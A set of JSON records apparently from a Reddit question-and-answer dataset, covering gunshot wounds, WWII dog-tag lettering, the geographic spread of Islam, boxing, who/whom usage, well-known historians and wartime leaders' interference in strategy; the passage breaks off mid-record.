{"q_id": "3sydap", "title": "how does it feel when u got shot in the leg? and in the arm for example?", "selftext": "How does it feel to get shot by an AK47?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3sydap/eli5_how_does_it_feel_when_u_got_shot_in_the_leg/", "answers": {"a_id": ["cx1krab", "cx1mzm4", "cx1t5uj", "cx1v12n"], "score": [24, 8, 8, 2], "text": ["At first it's like pinching, then it's like burning combined with having been beat with a very precise sledgehammer.  Hard to describe.  \n\nNot good.", "(Sorry if this is a useless comment)\n\nIs there any way to describe a physical sensation without actually experiencing it firsthand? I mean they can say it burned or throbbed but you only vaguely know what they're talking about. Even with more description you'll never really know!", "My brother got shot in the leg by an ak47 in Afghanistan. \n\nBlew out his entire femur bone and he almost died. He said it feels like an MLB player swinging an ice pick into his leg. \n\nAlso the initial pain was bad but it's more so the pain he experiences on a daily basis, he is pretty much addicted to pain killers. He is going to feel pain for the rest of his life. ", "My section commander was shot at about 15m by a pk machine gun. Said it was like his leg stopped working, then a lot of pain and he lost consciousness. He a pretty hard guy and actually got shot twice one in the back of the thigh and one in the lower back,  he was semi alert when he was being casivacted. And kept asking about the others that were behind him. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "28q5x0", "title": "What was the font used in WWII, Vietnam, Korean era war dog tags?", "selftext": "It seems like some version of \"type writer but i am curious as to if it has an actual name. Link with picture to the font which im referring [here](_URL_0_)", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/28q5x0/what_was_the_font_used_in_wwii_vietnam_korean_era/", "answers": {"a_id": ["cidta2o"], "score": [4], "text": ["No one at the time would have considered it a *font.*  It was simply the lettering designed into the embossing device used to make dogtags, and was different on older or newer machines.  The manufacturer (Addressograph) probably used brass letters based on designs used for typewriter keys, which would have been easily acquired.  eBay listings usually describe the Graphotype stamps as either \"font 133A\" or \"font 28A.\" [Here's a blog with more info.](_URL_0_)\n\nCourier was designed for the IBM Selectric, which worked very differently from other typewriters.\n\n"]}, "title_urls": [], "selftext_urls": ["http://www.dogtagsrus.com/images/Dogtag_History/Renney1_ea.jpg"], "answers_urls": [["http://www.graphotype.net/wordpress/"]]}
{"q_id": "ezt07z", "title": "Is there a reason why the spread of Islam followed dry and arid climates in a bizarrely consistent way?", "selftext": "For reference, see this [comparison image](_URL_0_) of the koppen climate scale and the percentage population of muslims by country. Generally speaking, warmer colors (red, orange, yellow) are hotter and drier. \n\nI have always found it bizarre how the geographic spread of the religion matches almost exactly with the distribution of dry and arid climate zones (excepting Indonesia). What is up with this? The distribution of Islam skips over the mild climate of Ethiopia and goes right onto the arid parts of the Horn of Africa! It extends well into the steppe of Eurasia, but stops where it switches from warm steppe to cold steppe! I know that geographical determinism is not looked upon kindly, but what is the explanation for this correlation?\n\nEDIT: Thanks for all the answers! I kind of knew that 'arid climate' was not *really* the factor that determined the outcome of Islam's spread, but reading all of your responses to the idea and your explanations of why Islam spread to where it did and not elsewhere provided a ton of amazing information. For me, the most interesting concept brought up was the role that trade played in the spread of the faith. Of course, that idea just brings up even more questions, which is what I love about history/this sub.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ezt07z/is_there_a_reason_why_the_spread_of_islam/", "answers": {"a_id": ["fgpkamt", "fgpl3ur", "fgpl5eb", "fgpmc1b"], "score": [1106, 1171, 202, 480], "text": ["There really isn't any such correlation other than based on geographic proximity to Arabia, where Islam first began.  The map you see doesn't quite include Islam's full reach, which in addition to tropical Malaysia and Indonesia also advanced as far as Iberia, southern Italy, the Balkans, and much of what is now southern (European) Russia, especially near Crimea, as well as Bangladesh.  None of these regions are nearly as arid as the regions highlighted on the map, especially the Sahara.  And while geographically there may seem to be a lot of red, it is worth pointing out that from a population point of view much of these regions are relatively unpopulated.  The top 5 nations with the largest population of Muslims, as given by the Pew Center [here](_URL_0_), are Indonesia, India, Pakistan, Bangladesh, and Nigeria, one of which is mostly arid (Pakistan, but the population lives primarily in a few less arid areas), and they make up nearly 50% of the global Muslim population.", "I definitely don't want to invalidate your question, because I do think there's something there, and hopefully someone who has in-depth knowledge on early Islamic history can speak to this.\n\nBut: I will say a few things that should be taken as caveats. One is that \"percentage of Muslim population by country\" is not necessarily the best way to determine where the world's Muslims live, and using national borders on a map can give undue emphasis on sparsely-populated countries. For instance, Niger will look like a huge Muslim country, when in fact it has some 15 million people, which is relatively small, all things considered. Indeed, if you look at a map of the world's Muslims [weighted for population](_URL_3_), you will see that something like half of the world's Muslims live east of the Indus, in relatively wet, fertile regions. Indonesia is less of an exception, as Bangladesh, India and Pakistan have huge Muslim populations, and even a country like China has more Muslims than Syria does (or did before the war). Even in those heavily-Muslim countries in the Middle East, the population (Muslim and non-Muslim) is [concentrated](_URL_3_) in fertile areas.\n\nSecond point - the Muslim population data used for this map I suspect comes from a Pew Research survey from 2009 titled [\"Mapping the Global Muslim Population'](_URL_0_). Now, overall Pew is a very reliable source of data, but it's worth noting a few things about this report. One is that their estimates of certain countries' Muslim populations are higher than other estimates, notably in the case of Egypt - Pew thinks their estimate is more accurate, but it's a debated point. Second is that such maps may or may not show a percentage of Muslim *citizens* in a Middle Eastern country, as opposed to a percentage of Muslim *residents* in such a country, the latter including non-citizen residents including expatriates. In the case of Saudi Arabia this creates a statistical tautology - Saudi citizens must be Muslims, ergo anyone in Saudi Arabia who *isn't* a Muslim isn't a citizen. Some estimates have a third of the Saudi population as non-citizen foreign workers, a substantial number of whom are not Muslim (and therefore also cannot openly practice their religion). So take certain percentage estimates with a grain of salt. \n\nTo get more specific regarding another point, specifically \"[Islam] extends well into the steppe of Eurasia, but stops where it switches from warm steppe to cold steppe!\" I think again relying on country percentages and national borders is a bit misleading. Russia, for instance, has a fairly large population of Muslims, and they are concentrated among particular nationalities located within Russian borders, notably Chechnya, Ingushetia, Dagestan, other parts of the North Caucasus, Tatarstan and Bashkortostan. A sub-national [map](_URL_1_) of Russia will show how these Muslim communities are concentrated, and Tatarstan notably is smack on the middle of the Volga River. Even the warm steppe/cold steppe distinction is exaggerated, as Kazakhs traditionally are Muslim and very much live in cold steppe regions - not just in Kazakhstan, but there are sizeable populations in northern Xinjiang and western Mongolia as well. Of course much of those steppe regions were also [ideal for agriculture](_URL_4_) and experienced a long period of [conquest and settlement](_URL_2_) by Europeans under the Russian Empire, and ironically part of that process of Russian conquest involved making sure that steppe nomads like the Kazakhs adhered to officially-sanctioned forms of Islam.", "The images are oversimplified and misleading -- within those regions there is a lot of geographic diversity. The most obvious are: Syria, Iraq, and Iran, which are all bright red on that map, indicating that they're arid, were known in antiquity as the Fertile Crescent because they were so productive agriculturally. \n\nAlso, it doesn't give much of a sense of where the population in those areas actually lives -- the most densely populated sections within that area are usually the fertile and mountainous areas. There's very few people who actually live *in* the Sahara, which appears bright green on the map. Egypt, for example, is 94% desert, but nearly all of its population lives in or directly adjacent to the 6% of land that isn't.\n\nThe reduction to population percentages also plays a role in the confusing nature of the map. (Wikipedia has [a table of countries by their Muslims populations, taken from a 2017 Pew report](_URL_0_), which sheds some light on this -- if you sort by 'Muslim population' instead of 'Muslims as a percentage of populations', the results are quite different).\n\nFor example: India: Muslims may 'only' account for 15 percent of India's population of 1.35 billion, but that's still almost 200 million people, more Muslims than in any country in the Middle East (even when the region is defined in its broadest possible definitions). Ethiopia is similar: with 105,000,000 people, of whom 'only' 35 million are Muslim, it's a much lighter green, even though that's more Muslims than live in Afghanistan or Saudi Arabia.\n\nNow, to the question of why Islam stayed in the middle latitudes, it's not about the desert, but along the steppeland that borders the desert to the north, which is where the trade routes were (this is how and why Islam first came to Southeast Asia, for example). In the 7th century, most of the major civilizations and world powers in the Eurasia-African landmass were found within that belt or the zones adjacent to it; the other notable ones were so geographically distant or hard to get to (i.e., sub-Saharan Africa) that it wasn't practical to try to reach them with an army.\n\nWhen the armies first came bursting out of Arabia, they encountered Persia and Byzantium -- Persia was conquered completely, and from there, with the newly allied Persian forces, they went eastward to the places the Persians knew about and had historically been in conflict with: India  &  Central Asia. \n\nByzantium retreated to Anatolia (Asia Minor) but remained in control of that territory for several more centuries -- but here, I would caution that the way the map looks *now* is not the way it looked 150 years ago. Over the course of several wars between the Ottomans and Russia and various Balkan countries in the late 19th and early 20th century, culminating in World War I, the Muslim populations of southeastern Europe were usually compelled to relocate to what is now Turkey--only Albania and Bosnia have retained Muslim populations of any size.\n\nThe other direction the Muslim armies went was across the whole of North Africa (where the fertile lands were). Northern Europe wasn't that interesting because there wasn't a lot going on up there at the time. Spain was acquired almost by accident -- the armies hadn't initially planned to hop the straits, but there was a dispute between the claimants to the Visigothic throne and one of them asked for help from the Muslim armies.\n\n**tl;dr**: the maps give an overly simplistic impression of both geography and population distribution of the world's Muslims. AND at the time Islam originated and had its largest territorial expansion, most of the major world political and economic powers were found along that belt extending from the Mediterranean littoral across the steppes of Asia into India, Southeast Asia, and China, so this was where the new efforts of the new Islamic polity and its religious message were directed.", "**TL;DR: Little to do with Islam as a faith.**\n\nSpeaking in very general terms, we can speak of a few crucial processes in the geographical expansion of Islam.\n\n***Early Arab conquests and subsequent conversions.***\n\nThe conquests of Muhammad's immediate successors, the first four \"rightly guided\" caliphs and the subsequent Umayyad dynasty, established Islam in its civilizational core: the Arabian Peninsula, the Levant, Iraq, Iran, North Africa, southern Central Asia, and formerly Andalusia. As it so happens, the initial \"opening of lands\" (*fut\u016bh al-buld\u0101n*, a term early Muslims used for the Arab conquests) did take place in fairly arid climates.\n\nIs this because early Islam or its armies were uniquely suited for the desert? Given the geographic origin of the Arabs, there might be some merit to the idea. The Byzantines, who were in these centuries the Arabs' major enemy, actually pointed out (from Haldon 2016):\n\n >  Their people is hurt by cold, by winter, and by heavy rain. It is best, therefore, to launch attacks against them at such times rather than in good weather. Their bowstrings become slack when it is wet and because of the cold their whole body will become sluggish. Often while making their incursions and plundering raids at such times, they have become overcome by the Romans and destroyed.\n\nBut I'm overall skeptical. Let's look at some of the major regions where the early Arabs were stymied:\n\n* The Christian kingdoms of arid Nubia (modern northern Sudan) defeated Arab conquest around 650, instead voluntarily entering into tributary relations with the caliphate.\n\n* There was actually no serious attempt by the early Muslims to conquer Ethiopia (only an on-and-off war to halt Ethiopian piracy and take naval control of the Red Sea, which the Arabs had won by the 700s). This is despite the fact that much of the climate in northern Ethiopia (modern Eritrea) is similar to what the Arabs *did* conquer.\n\n* The rump Roman-Byzantine empire survived despite the immense amount of resources that the caliphate poured into the conquest of Constantinople\u2014certainly more resources than probably any campaign in Arab history. But going by climate alone, what remained of Byzantine territory was not very different from many dryish and coldish parts of Iranian Plateau that the Arabs *did* subjugate. The above quote notwithstanding, the Byzantines survived thanks less to climate and more to the details of the terrain itself, as well as a series of imperial reforms designed to restore vigor to the state.\n\n* The Arabs failed to conquer the humid country of the Franks, yes. But it seems unlikely that any conquest would have been possible even had France had the geography of Saudi Arabia, simply because the Arab-Berber conquerors were hard-tasked just with holding Spain. Even before the Franks had shown stout resistance, the conquerors could only afford one garrison (at Narbonne) for the entirety of their holdings and alliances north of the Pyrenees. And any plans for more extended operations against the Franks were derailed by a massive rebellion of Berbers (indigenous North Africans who represented the majority of the conquerors) against Arabs beginning in 740 and the subsequent collapse of the Umayyad caliphate, an event again largely unrelated to climate.\n\n* The Arabs never made a real attempt to penetrate the very arid Thar Desert of India either, again likely because it was too far from the imperial center.\n\nOverall, it looks like the geopolitical conditions of both the early caliphate and its neighbors\u2014the caliphate's imperial overstretch and Arab vs. non-Arab divisions that led to the Berber Revolt and ultimate Umayyad disintegration, but also a capable response by Byzantines, Franks, Nubians, and others\u2014are more to credit than climate.\n\n***Persianate expansion into Anatolia, the Balkans, and India.***\n\nIf the early expansion of Islamic civilization was driven by its Arab founders, the Turkic peoples should be credited with much of both its current reach and cultural hues. But the Turkic conquerors of Early Modern Islam were profoundly influenced by the urban civilization of Persia. Hence we call the empires they founded *Persianate*: not ethnically Persian, but still adhering to Persian cultural standards.\n\nThe Persianate empires most responsible for the geographical spread of Islam were the Seljuks in Anatolia and the Ottomans in the Balkans, and a series of Turko-Muslim dynasties in India, culminating in the Mughals.\n\nNow, it's true that Anatolia is fairly dry and the Balkans are comparatively much wetter. In 2020, Anatolia (Turkey) is almost entirely Muslim, while the Balkans are almost all Christian. This might seem to support the idea that Islam really does spread better in arid areas.\n\nBut in Ottoman times, the Balkans themselves were nearly 40% Muslim (see McGowan 1981, *Economic Life in Ottoman Europe*, p. 84), while there was a very significant Christian minority in Anatolia. Today, a map of religions in Turkey and the Balkans matches neatly with a more arid Turkey on one side of the line and the wetter European countries on the other. But this is largely a product of ethnic cleansing and genocides during the bloody disintegration of the Ottomans in the nineteenth and early twentieth centuries.\n\n(You might argue that the fact that a Muslim majority was achieved in Anatolia but not in the Balkans, despite the same effect of Ottoman rule, still shows that Islam spread better in the arid region. But actually, this is simply because Anatolia was ruled by Muslims since the eleventh century and was already overwhelmingly Muslim in the 1500s, while the Balkans fell under Ottoman rule only in the late fourteenth century and was still at least 81% Christian in the 1500s.)\n\nMeanwhile in India, most of the region\u2014both dry *and* wet\u2014did not convert to Islam. This is probably because the Turkic conquerors never sought to fundamentally disrupt the basic structure of Hindu rural society, which in any case proved remarkably resilient to any such would-be attempts. If anything that would have been counterproductive, since an assault on Hindu society at large would have undermined the famed riches of India that drew the conquerors there.\n\nThe two major regions of India that did see popular conversion to Islam under Mughal rule show why this didn't happen in other areas, and it's not climate.\n\n* In western Punjab (modern Pakistani Punjab), which is relatively dry, Mughal rule was associated with a large increase in agricultural production *in areas that had previously been lightly farmed.* So a new type of society was created, with people who had never been previously been farmers (Jats, a caste of mostly herders) and had never really known that much about Hinduism becoming agriculturalists for the first time in their lives. The religion of this new society was Islam, the Mughal state religion.\n\n* The same story goes for the eastern Bengal (modern Bangladesh), although it is on the other side of the Subcontinent and among the wettest places on Earth. Mughal rule saw agricultural intensification in places that had previously been forested, which drew local slash-and-burn farmers into a sort of economy and society they had never really lived in before. And what better god to protect them in this new world than the new God of Islam? (For a discussion of Bangladesh's conversion to Islam, see [this book](_URL_0_), available for free thanks to University of California).\n\nSo the key point in India is that existing Hindu societies were resilient to Islam, regardless of climate; new agriculturalist systems that formed under Islamic rule proved extremely fertile ground for the Islamic message.\n\n***Indigenous conversion in Sub-Saharan Africa, the Indian Ocean, and the steppe.***\n\nRunning out of space here, so I'll have to be brief.\n\nIn **West Africa**, the current borderline between Islam and Christianity matches the border between the flat arid Sahel and the wet rainforest coast. Probably the biggest factor is that the indigenous Islamic empires that spread Islam in this region failed to expand south into the rainforest. Horses die in the African rainforest because of the tsetse fly, and the terrain and climate are drastically different. So the border of Islam here matches the borders of local empires, which in turn match the ecological and biological borders.\n\nBut Islam might have been on its way to slowly expanding south into the very humid rainforest anyways, had European imperialism not cut its advance short. By the 1800s, the polytheist king of Asante in modern Ghana was entering into regular correspondence with local Muslim leaders in northern Ghana, requesting them to pray for his health as a \"benefactor of Muslims.\" At the same time, Fulani Muslims, motivated by a zeal to restore and expand the faith, were expanding into the forests of Nigeria in force. Who knows what might have happened eventually?\n\nAs for the **steppe**, you say that:\n\n >  It extends well into the steppe of Eurasia, but stops where it switches from warm steppe to cold steppe!\n\nBut historically, Islam was the religion of the elite of the *entire* Turkic steppe, all the way north to southern Siberia. Kazakhstan is less green on the map you have there because a fourth of its population are Christian Russians (with a small German minority). Ethnic Kazakhs are almost overwhelmingly Muslim, at least in name.\n\nIn **eastern Africa**, the Muslim Swahili Coast is pretty wet. It is true that Muslim Somalia is arid and Christian highland Ethiopia is not, but this is largely because Somalis were never Christian, and hence more willing to accept a new universal faith, while Ethiopia was already Christian before Islam. It might also be worth noting that Ethiopia might be majority Muslim today had a would-be Muslim conqueror had some more luck in the sixteenth century.\n\n**Southeast Asia** is obviously all wet."]}, "title_urls": [], "selftext_urls": ["https://imgur.com/QVZNlyC"], "answers_urls": [["https://www.pewforum.org/2015/04/02/muslims/pf_15-04-02_projectionstables74/"], ["https://www.pewforum.org/2009/10/07/mapping-the-global-muslim-population10/", "http://sreda.org/arena?mapcode=code12956", "https://www.reddit.com/r/AskHistorians/comments/90f26u/how_did_russia_permanently_subjugate_the_steppes/e2q7kwy/", "https://cdn1.vox-cdn.com/assets/4397351/weighted_muslim_populatiojs_crop-2.jpg", "https://www.reddit.com/r/AskHistorians/comments/b8veds/if_the_russian_steppes_chernozem_is_so_fertile/ek0zfth/"], ["https://en.wikipedia.org/wiki/Islam_by_country"], ["https://publishing.cdlib.org/ucpressebooks/view?docId=ft067n99v9;brand=ucpress"]]}
{"q_id": "34qqkc", "title": "in boxing what is the difference between a \"punch\" and a \"power punch\"", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/34qqkc/eli5_in_boxing_what_is_the_difference_between_a/", "answers": {"a_id": ["cqx9bov"], "score": [2], "text": ["A \"punch\" is a blow delivered primarily solely by the strength of the arm.  A \"power punch\" involves the twisting of the torso to import greater momentum."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "65822c", "title": "the correct use of 'whom'", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/65822c/eli5_the_correct_use_of_whom/", "answers": {"a_id": ["dg867cp", "dg868hs", "dg86d2j", "dg86ewj", "dg87sic", "dg88yv6", "dg894q3", "dg8b1yb", "dg8neq8", "dg8r5bo", "dg8sb3s", "dg8vgqp", "dg8z2f9", "dg8z7ul", "dg8zv5m", "dg933po", "dg93mmp", "dg93u3r", "dg94h47", "dg94psh", "dg96nrq"], "score": [5, 1632, 10, 132, 4, 4, 7, 7, 15, 2, 12, 2, 10, 6, 2, 2, 2, 2, 2, 2, 3], "text": ["If you can replace the word with he or she, use who.\nIf you can replace the word with him or her, use whom.", "If you can replace the word with \u201che\u201d\u2019 or \u201c\u2019she,\u201d use\u00a0who. If you can replace it with \u201chim\u201d or \u201cher,\u201d use\u00a0whom. Or even easier, answer a question with those words.\n\nWho would like some ice cream? He would like some ice cream.\n\nTo whom is that letter addressed? The letter is addressed to her.\n\nWho would like some ice cream? Would he like some ice cream?\n\nTo whom is that letter addressed? Is that letter addressed to her?\n\nWho/whom\u00a0ate my sandwich?\n\n > Try substituting \u201cshe\u201d and \u201cher\u201d:\u00a0\n\n > She ate my sandwich. Her ate my sandwich.\u00a0\u201cShe\u201d works and \u201cher\u201d doesn\u2019t. That means the word you want is\u00a0who.\n\nWho/whom\u00a0should I talk to about labeling food in the refrigerator?\n\n > Try substituting \u201che\u201d and \u201chim\u201d:\u00a0\n\n > I should talk to he. I should talk to him.\u00a0\u201cHim\u201d works, so the word you need is\u00a0whom.\n\nBeyond ELI5, but the technical definition:\n\n > Who\u00a0should be used to refer to the subject of a sentence \n\n > Whom\u00a0should be used to refer to the object of a verb or preposition.", "Imagine replacing it with a third-person pronoun, as if you were talking about a known person.  You might have to change the order of words, especially when the phrase you're wondering about is a question, but it'll still show you *which* word is right.\n\nWhere you'd use *he* or *she*, it's *who*.  Where you'd use *him* or *her*, it's *whom*.  For *his*-or-*her* and *his*-or-*hers* it's \"whose\", but that's kinda beside the point.\n\nExamples of the process:\n\n\"[?] are they\"? - >  \"*He* is ...\" so \"*Who* are they\"?\n\n\"[?] did you go with?\" - >  \"You went with *her*\" so \"*Whom* did you go with?\" (but this sounds a little clunky, and most people would accept *who*.  If you rephrased it in a pickier way, as \"with *whom* did you go?\", practically nobody would accept *who*)\n\nWe can go into the technical terminology if you like, but this is ELI5 so I thought I'd start with the answer that people know.", "\"Who\" is a subject. It's the thing in the sentence that's doing the verb. \"Who ran away?\" The \"who\" is the one doing the running.\n\n\"Whom\" is an object. It's a thing that's having something done to it. \"To whom do I deliver the message?\" I'm the subject here, and I'm doing the delivering. \"Whom\" is the person who's having the delivering done to them.\n\nHe/she/we/who. Him/her/us/whom.", "And which one is the correct:\n\n*The girl to whom I was talking.*\n\n*The girl whom I was talking to.*\n\nAnd why?", "Specifically, 'whom' replaces 'who' when used following the use of prepositions. I.e. About, above, across, after, against, among, around, at, beside, before, between, by, down, during , except, for, from, in, into, near, on, over, up, with, etc.\n", "It's used if the action in the sentence is being done to the person 'who' is the 'whom'.\n\nIe, \n\n > \"To *whom* is the thing being done?\"\n\nBut don't use whom, it's pretentious.", "I love this. An easy way to check is to slightly modify the sentence and replace the who/whom with either he or him. If you require a him(note the M) then you need to use whom(M!). If you require a he, then you use who.\n\nFirst an example for whom: \"With whom am I traveling?\"\nYou wouldn't say \"I am traveling with he.\" You'd use him, right? so you know it must be whom.\n\nFor who: \"Who is there?\"\nYou wouldn't say \"Him is there.\" You'd say \"He is there.\" so you know to use who.", "Here's the thing. Nowadays it's perfectly acceptable to use \"who\" all the time. It's done by most people. Don't listen to prescriptivists that tell you otherwise. You'll look way better using \"who\" all the time than using \"whom\" when you shouldn't. ", "WHO is active. WHOM is passive. Who did it, and to whom?\n", "as others have stated if you can replace it with he/she, use who, him/her is whom\n\n\nhowever the REAL answer is that as english has evolved, who has beome acceptable to use in all cases, and the \"who/whom\" police are generally regarded as annoying and insufferable. \n\nthey're not the same as grammar police, they specifically like to wait for moments to point out who/whom \"corrections\" whenever possible. but what they don't realize is that everyone hates them, and it's okay to just say say \"who\"\n\n\n(i mean that. english is evolving to lose pronoun cases. whom is becomming an obsolete word. in casual conversations it's generally always considered ok to use \"who\" in either case....however you CANNOT use \"whom\" in both cases.\n\n\nthis presents a few issues about the word.\n\n1) if you never use, you'll never have to worry about using it incorrectly.\n\n2) 90% of the time people try to use \"whom\" in casual conversations they are using it incorrectly and they sound like pretentious idiots. you can avoid that by just not using it at all. everyone will always understand you for saying \"who\" in casual conversations.\n\n3) that being said.. casual writing and convos \"who\" is always fine. they say you SHOULD use whom when possible in formal writing. but if you're using it make sure you use it correctly. it doesn't have the same interchangeability that \"who\" does... you sound dumb if you use \"whom\" in the wrong context. when in doubt, just say \"who\".\n\n but it's getting to the point where it's being phased out and eventually no one will say it anymore. (english does evolve over time, just like every language.  like i said we're phasing out pronoun cases.. and whom is the next to go.)\n\n\nwhatever you do, don't be a \"who/whom\" policeman in casual conversations or all your friends will hate you lol.\n\nas you can tell from my post i'm starting a movement to phase out capital letters next. who's with me?", "This cartoon will explain it all. The Oatmeal has some great grammar lessons including who/whom, semicolons, and using \"i.e.\"\n_URL_0_", "The correct use of 'whomst'? ", "If you need to be able to use it for some specific \"correct grammar\" (as opposed to English language) reason (exams being judged on \"grammatical\" English; house style, etc.), there will be plenty of answers in this thread telling you what you want to know.\n\nOtherwise - the simplest answer is that it's a redundant, anachronistic hang-over from the time when what was then considered to be \"English\" had case endings, that serves no linguistic function whatsoever in modern English, where word order has almost entirely taken over. And by consequence **real** English in all its dialect forms - the evolving language that people actually **use** - is pretty much rapidly leaving it behind. Best practice is to understand it by all means, if you feel the need to - but otherwise stop worrying and let it die in peace.\n\n(\"No linguistic function\": If you can tell me with confidence that I should, grammatically, have said \"whom\" rather than \"who\", then you derived that information without difficulty from the rest of the sentence. So \"whom\" would have been redundant. \"Redundant\" isn't always bad, if it helps, say, speed up comprehension - but the fact that the word **is** falling so much into disuse is, frankly, a very strong indication that that doesn't apply in this case. So, to demonstrate useful functionality, you need to provide sensible, real-world examples of sentences in which the meaning is unclear without the \"who/whom\" distinction. I guess it's possible they exist, but personally I'm at a loss to think of one.)", "He she vs him her. \n\n\"Who did it?\" \"He/she did it.\"\n\n\"On whom do I place blame?\" \"On him/her.\"", "No one here has really mentioned that \"whom\" is also used as an object, not just an indirect object. \n\nWhom do you know? I know him. \n\nI know a man, whom your sister killed. Who did your sister kill? She killed him.\n\n\"Whom\" may be followed by a preposition, but not always. ", "If you would rephrase is to 'him', its whom, otherwise it's who. E.g. *who am i eating* is wrong because I would rephrase it as *i am eating him*", "Actually, linguistically, whom is in its death throes. It's used so little in everyday language that most linguists predict it'll be dead in the next fifty years, which is a shame, because I think it's a good rule that makes our language sound more graceful.\n\nBut yes, these guys are spot on. Whom follows a prePOSITION (to, for, by, around, under, through, etc....)", "|subjective|objective|\n|----------|-----------|\n| I | me |\n| he | him |\n| she | her |\n| they | them|\n| we | us |\n| who | whom |", "This reminds me of this scene from [The Office](_URL_0_) \n\nAlthough it is more for a comedic purpose, I feel that what Pam and Toby say actually gets the point across. ", "He = Who\n\nHi**m** = Who**m**\n\nYou went to the store with whom?\nI went to the store with him\n\nWho bought milk?\nHe bought milk."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], ["http://theoatmeal.com/comics/who_vs_whom"], [], [], [], [], [], [], [], ["https://m.youtube.com/watch?v=01Dn53H2ZLw"], []]}
{"q_id": "2fvvy0", "title": "Are there any \"rockstar\" historians, either in terms of popularity or contribution to the field?", "selftext": "Many other academic fields have notable contributors. There are many well known names of Scientists, Philosophers, Mathematicians, Law, Psychologists, etc..\n\nWho are the Einsteins or Curies of academic History, and what were their contributions?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2fvvy0/are_there_any_rockstar_historians_either_in_terms/", "answers": {"a_id": ["ckd9fvd", "ckdfhrh"], "score": [8, 2], "text": ["\"Rockstar\" suggests, at least to me, \"widely known\". You have historians who are widely known within their subdiscipline, or primarily famous outside of academia.\n\nIn the Netherlands, I'd argue that Maarten van Rossem (one-time *endowed professor* at the University of Utrecht) qualifies. He's mainly known for... well... being Maarten van Rossem, and his academic record is not at all that impressive. He's the public face of historians, though. For better or for worse. \n\nNiall Ferguson is of a similar mold. Nowadays primarily known for his cash grab documentaries/books, being a conservative/republican icon, and being married to Ayaan Hirsi-Ali, Time Magazine once called him one of the most infuential people in the world. I'd say that his *The Pity of War* is an interesting book, and his early work on the Rothschilds is also supposedly very good. \n\nOther than that, I'd say that most \"rockstar historians\" are rockstars within their own little \"genre\". Most historians are influential in their own field, and their ideas might cross-over via other historians. Anyway, some \"historians\" who probably cross-over are:\n\n1. Benedict Anderson - hugely influential through his book *Imagined Communities* which permanently changed the way historians frame the concept of nationalism. \n\n2. Hayden White and Frank Ankersmit - Important philosophers of history, \"founders\" of narrativism. Narrativism holds that \"the past\" cannot be described, and that the historian's work is ultimately a fiction through the framing of the past in a narrative. A good literary exploration of this metahistorical position is Laurent Binet's novel *HhhH*.\n\n3. Carlo Ginzburg and Emmanuel Le Roy Ladurie - Proponents of \"microhistory\" and cultural history. Especially Carlo Ginzburg's *The Cheese and the Worms* is an amazing read. It reconstructs a miller's cosmological view through records of the inquisition, and study of the texts the book's subject said to have read.", "What about Edward Gibbon, the British historian who wrote *Decline and Fall of the Roman Empire*? \n\nGibbon is not followed today, but his attempt to trace the cause of Rome's fall to some moral failure, and use that as a lesson for contemporaries, made him as hugely popular and influential then as he is discredited now. His theory is also the archetype for other modern [analogies](_URL_0_), however inapt, between Rome's fall and modern American politics. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.theatlantic.com/magazine/archive/2007/06/as-the-romans-did/306048/"]]}
{"q_id": "1azhhk", "title": "I've read that one of the big problems for the German and Soviet armies during WWII was the tendency for Hitler and Stalin to micromanage strategy and ignore their generals' advice.  To what extent did Roosevelt and Churchill try to meddle in their own military's strategy?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1azhhk/ive_read_that_one_of_the_big_problems_for_the/", "answers": {"a_id": ["c927rwp", "c927v7m", "c92822k", "c9289bf", "c928dop", "c928n0j", "c92bcgs", "c92mihf", "c92pfcw"], "score": [420, 25, 12, 84, 58, 19, 410, 3, 2], "text": ["Churchill did a fair bit of micromanaging; he insisted on the development of the \"cultivator\" (a trench-digging device that would have been perfect for 1916 but never found a use in WWII, about which he said in his memoirs of WWII \"I am responsible but impenitent\"), he demanded a pointless invasion of the Channel Islands until General Marshall told him to fuck off, and some other things; I remember that Lord Alanbrooke's diaries are full of incidents where Churchill drives him to distraction.\n\nOn the other hand, he was certainly less damaging than Hitler (of whom Speer, Minister of Armanents, said, \"He knew just enough to be dangerous\"), and it's unreasonable to expect someone in charge of so much to know when to back off every time, especially when he had cause to regret *not* micromanaging certain things (\"WHAT DO YOU MEAN THE GUNS AT SINGAPORE DON'T TURN AROUND?\"), [EDIT: Although it seems like they in fact did; see Blake83's comment below] [Edit2: In fact, he didn't mention the guns specifically; that was my own misremembering; see PubliusPontifex's quote of Churchill's actual words, [here](_URL_0_)] and the micromanaging sometimes paid off; one incident he recounts in his memoirs is a conversation about bombing that went like this:\n\nRAF guy: And so, we dropped bla bla bla tons of bombs on Germany, and they only dropped bla tons of bombs on us. \n\nChurchill: That's great!\n\nRAF guy: Of course, their bombs do more damage.\n\nChurchill: They do? Why?\n\nRAF guy: Well, they use zinc [or whatever--I forget] in the explosive.\n\nChurchill: Why don't we use it in ours?\n\nRAF guy: Well, see, early in the war we had a zinc shortage, and so we made bombs without zinc. \n\nChurchill: But we don't have a zinc shortage anymore, do we?\n\nRAF guy: Um, no, not as such . . . \n\nChurchill: ARE YOU TELLING ME THAT WE'VE BEEN DROPPING DEFECTIVE BOMBS ALL THIS TIME?\n\nRAF guy: Um . . . \n\nAnd so the bomb problem was fixed.", "I think one of the reasons why the red army was successfully was because Stalin listened to the advice of his generals, I do not know where you heard stalin liked to micro", "The allied strategy at the end of the war changed from one to win the war to one to determine who controlled what when the war was over. There were plans to race to Berlin, with some potential to drop paratroopers on the city and get to them with an armored thrust similar to Market Garden. There was some political pressure to keep driving forward to gain as much ground as possible, not so much to control it but to prevent the Soviets from grabbing it. \n\nThere was also debate about the best way to attack fortress europe. I forget who advocated for which, but one idea was to strike the soft underbelly through italy (which turned out to not be so soft nor an 